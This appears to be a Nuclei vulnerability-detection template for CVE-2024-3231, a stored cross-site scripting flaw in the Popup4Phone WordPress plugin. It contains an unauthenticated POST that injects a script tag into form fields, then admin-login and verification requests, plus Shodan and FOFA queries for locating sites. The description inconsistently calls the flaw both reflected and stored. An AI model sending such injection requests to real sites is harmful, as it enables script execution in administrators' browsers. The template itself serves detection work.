Popup4Phone <= 1.3.2 - Unauthenticated Stored Cross-Site Scripting

id: CVE-2024-3231

info:
  name: Popup4Phone <= 1.3.2 - Unauthenticated Stored Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    Popup4Phone WordPress plugin through 1.3.2 contains a reflected cross-site scripting caused by unsanitized parameters, letting unauthenticated users execute scripts in admin browsers, exploit requires sending crafted requests.
  impact: |
    Attackers can execute scripts in admin browsers, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of Popup4Phone plugin.
  reference:
    - https://wpscan.com/vulnerability/81dbb5c0-ccdd-4af1-b2f2-71cb1b37fe93/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3231
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-3231
    cwe-id: CWE-79
    epss-score: 0.0479
    epss-percentile: 0.8959
    cpe: cpe:2.3:a:ivanweb:popup4phone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"WordPress"
    fofa-query: body="popup4phone"
  tags: cve,cve2024,wordpress,wpscan,wp-plugin,popup4phone,xss,stored

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        popup4phone%5Bws_pages_submit_url%5D=&popup4phone%5Bws_pages_submit_title%5D=Popup4Phone&popup4phone%5Bname%5D=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&popup4phone%5Bphone%5D=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&popup4phone%5Bemail%5D=test%40test.com&popup4phone%5Bmessage%5D=test&ajax=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=popup4phone HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100c14b5051b58a4136c69c484e611457aad9df11716eb5e2fed3ecfdb2566e390a022100e89d06ecfd74c510bfd194918d4c47ad3028666942d2790704cbf3eaae1bf994:922c64590222798bb761d5b6d8e72950